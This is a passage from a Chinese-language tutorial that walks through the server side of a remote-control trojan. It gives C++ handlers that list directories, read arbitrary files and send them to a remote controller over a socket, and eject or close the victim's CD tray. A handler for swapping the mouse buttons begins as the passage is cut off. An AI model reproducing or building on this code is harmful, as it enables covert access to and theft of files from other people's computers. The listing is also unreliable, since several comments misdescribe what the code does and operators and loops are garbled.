上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
//如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
//得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
//从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
//如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
//返回“Fail By Open DIR's Name”信息
goto END;
//跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
//如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
//返回“Fail By Your DIR's Name”信息
goto END;
//跳到END
}
times_of_try=0;
while(fp==NULL)
{
//如果指针是NULL
fp=fopen(TempFile,"w+");
//就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
//计数器加1
if(times_of_try100)
{
//如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
//就发回“Fail By Open File”的错误信息
goto END;
//并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
//如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
//如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
//加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
//如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
//得到目标文件的访问属性
if (attrib & FA_RDONLY)
//“&”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
//将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
//失败则写入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
//将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
//失败则写入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
//将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
//失败则写入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
//将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
//失败则写入空格
if (attrib & FA_DIREC)
fwrite(" ",sizeof(char),9,fp);
//将目标文件属性设为目录
else
fwrite("
",sizeof(char),9,fp);
//失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
//将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
//写入换行
}
fclose(fp);
//关闭文件
closedir(dir);
//关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
//打开Win369.bat准备读
times_of_try=times_of_try+1;
//计数器加1
if(times_of_try100)
{
//如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
//就发回“Fail By Open File”的错误信息
goto END;
//并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i
//定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
//从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
//Return_Text变量加上刚才的300个字符
for(int i=0;i
Read_Num=fread(temp_content,1,300,fp1);
//重复
};
Return_Text=Return_Text+temp_content;
//Return_Text变量加上刚才的300个字符
fclose(fp1);
//关闭目标文件
Socket-SendText(Return_Text);
//返回Return_Text变量的内容
}
}
接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
//如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
//将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
//打开目标文件准备读
times_of_try=times_of_try+1;
//计数器加1
if(times_of_try100)
{
//如果已试了100次了
Socket-SendText("Fail By Open File");
//返回“Fail By Open File”的错误信息
goto END;
//跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i
//定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
//从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
//Return_Text的内容加上刚才的字符
for(int i=0;i
Read_Num=fread(temp_content,1,300,fp);
//重复
};
Return_Text=Return_Text+temp_content;
//Return_Text的内容加上刚才的字符
fclose(fp);
//关闭目标文件
Socket-SendText(Return_Text);
//返回Return_Text的内容,即你查看文件的内容
}
}
操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
//如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
//就弹出光驱的托盘
}
else if(temp=="close")
{
//如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
//就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{